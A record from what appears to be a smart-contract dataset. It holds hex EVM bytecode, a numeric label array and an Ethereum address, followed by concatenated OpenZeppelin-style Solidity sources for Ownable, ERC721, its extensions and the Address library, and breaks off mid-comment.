} | 0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806366188463146101f157806370a082311461021557806395d89b4114610236578063a9059cbb1461024b578063d73dd6231461026f578063dd62ed3e14610293575b600080fd5b3480156100bf57600080fd5b506100c86102ba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a0360043516602435610348565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a6103ae565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a03600435811690602435166044356103b4565b3480156101d257600080fd5b506101db61052b565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610161600160a060020a0360043516602435610534565b34801561022157600080fd5b5061018a600160a060020a0360043516610624565b34801561024257600080fd5b506100c861063f565b34801561025757600080fd5b50610161600160a060020a036004351660243561069a565b34801561027b57600080fd5b50610161600160a060020a036004351660243561077b565b34801561029f57600080fd5b5061018a600160a060020a0360043581169060243516610814565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103405780601f1061031557610100808354040283529160200191610340565b820191906000526020600020905b81548152906001019060200180831161032357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60065481565b6000600160a060020a03831615156103cb57600080fd5b600160a060020a0384166000908152602081905260409020548211156103f057600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042057600080fd5b600160a060020a038416600090815260208190526040902054610449908363ffffffff61083f16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461047e908363ffffffff61085116565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104c0908363ffffffff61083f16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561058957336000908152600260209081526040808320600160a060020a03881684529091528120556105be565b610599818463ffffffff61083f16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103405780601f1061031557610100808354040283529160200191610340565b6000600160a060020a03831615156106b157600080fd5b336000908152602081905260409020548211156106cd57600080fd5b336000908152602081905260409020546106ed908363ffffffff61083f16565b3360009081526020819052604080822092909255600160a060020a0385168152205461071f908363ffffffff61085116565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107af908363ffffffff61085116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561084b57fe5b50900390565b60008282018381101561086057fe5b93925050505600a165627a7a72305820c15040d359e389bb0206cbb5070a89aaecff0e8874f693e7291760c951955afb0029 | [
0,
2
] |
0xf341eD41475fedD4704902B4b82F1D2EB4D477E8 | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
